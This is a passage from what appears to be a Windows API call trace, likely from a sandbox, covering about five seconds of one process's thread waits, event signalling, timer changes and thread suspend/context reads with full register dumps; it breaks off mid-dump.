	[0233.359] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0233.359] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0233.370] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0233.370] SetEvent (hEvent=0xfc) returned 1
	[0233.370] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0233.423] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0233.424] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0235.461] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0235.461] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0235.462] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.467] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.480] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0235.480] SetEvent (hEvent=0xf0) returned 1
	[0235.480] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.490] SetEvent (hEvent=0xf0) returned 1
	[0235.490] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.493] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0235.493] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0235.495] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0235.496] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0235.496] SetEvent (hEvent=0xf0) returned 1
	[0235.496] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.502] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0235.503] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0235.509] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0235.510] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0235.510] SetEvent (hEvent=0xf0) returned 1
	[0235.510] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.571] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0235.571] SetEvent (hEvent=0xf0) returned 1
	[0235.571] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.584] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0235.584] SetEvent (hEvent=0xf0) returned 1
	[0235.584] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.629] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0235.629] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.645] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1149bc0, lpParameter=0xc000080400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c
	[0235.666] CloseHandle (hObject=0x13c) returned 1
	[0235.666] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.787] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.828] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x194) returned 1
	[0235.828] SuspendThread (hThread=0x194) returned 0x0
	[0235.828] GetThreadContext (in: hThread=0x194, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ffa48, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d56a4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0235.901] ResumeThread (hThread=0x194) returned 0x1
	[0235.901] CloseHandle (hObject=0x194) returned 1
	[0235.902] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.943] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.966] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0235.989] SetEvent (hEvent=0xe4) returned 1
	[0235.989] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.075] SetEvent (hEvent=0x188) returned 1
	[0236.075] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.088] SetEvent (hEvent=0x188) returned 1
	[0236.088] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.111] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.148] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.218] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.244] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0236.245] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0236.287] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0236.287] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.291] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0236.292] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0236.311] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0236.311] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.325] SetEvent (hEvent=0x17c) returned 1
	[0236.325] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.359] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.380] SetEvent (hEvent=0x190) returned 1
	[0236.380] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.438] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.447] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.458] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.478] SetEvent (hEvent=0x17c) returned 1
	[0236.478] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.492] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.500] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.511] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.512] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0236.513] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0236.527] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0236.527] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.549] SetEvent (hEvent=0x190) returned 1
	[0236.549] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.579] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.612] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.637] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.689] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.717] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.752] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0236.752] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0236.819] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0236.819] SetEvent (hEvent=0x17c) returned 1
	[0236.819] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.849] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.870] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.878] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.894] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.905] SetEvent (hEvent=0xd4) returned 1
	[0236.905] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.933] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.958] SetEvent (hEvent=0xd4) returned 1
	[0236.958] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.983] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.995] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0236.998] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.025] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.040] SetEvent (hEvent=0xd4) returned 1
	[0237.040] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.061] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.080] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.131] SetEvent (hEvent=0x17c) returned 1
	[0237.131] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.146] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.160] SetEvent (hEvent=0xd4) returned 1
	[0237.160] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.169] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.186] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.196] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.210] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.237] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.274] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.357] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.378] SetEvent (hEvent=0x17c) returned 1
	[0237.378] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.396] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.429] SetEvent (hEvent=0x190) returned 1
	[0237.429] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.448] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.451] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0237.452] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0237.486] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0237.486] SetEvent (hEvent=0x190) returned 1
	[0237.487] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.512] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.549] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.565] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0237.565] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0237.612] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0237.612] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.654] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0237.655] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0237.714] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0237.715] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.727] SetEvent (hEvent=0xd4) returned 1
	[0237.727] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.752] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.786] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.843] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.859] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.883] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.900] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.917] SetEvent (hEvent=0xe4) returned 1
	[0237.917] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.971] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.982] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0237.995] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.007] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0238.008] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0238.022] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0238.022] SetEvent (hEvent=0xf0) returned 1
	[0238.022] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.069] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.140] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.207] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.217] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.226] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.229] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.239] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.274] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.281] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.324] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0238.324] SuspendThread (hThread=0x1ac) returned 0x0
	[0238.324] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70709ff628, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, 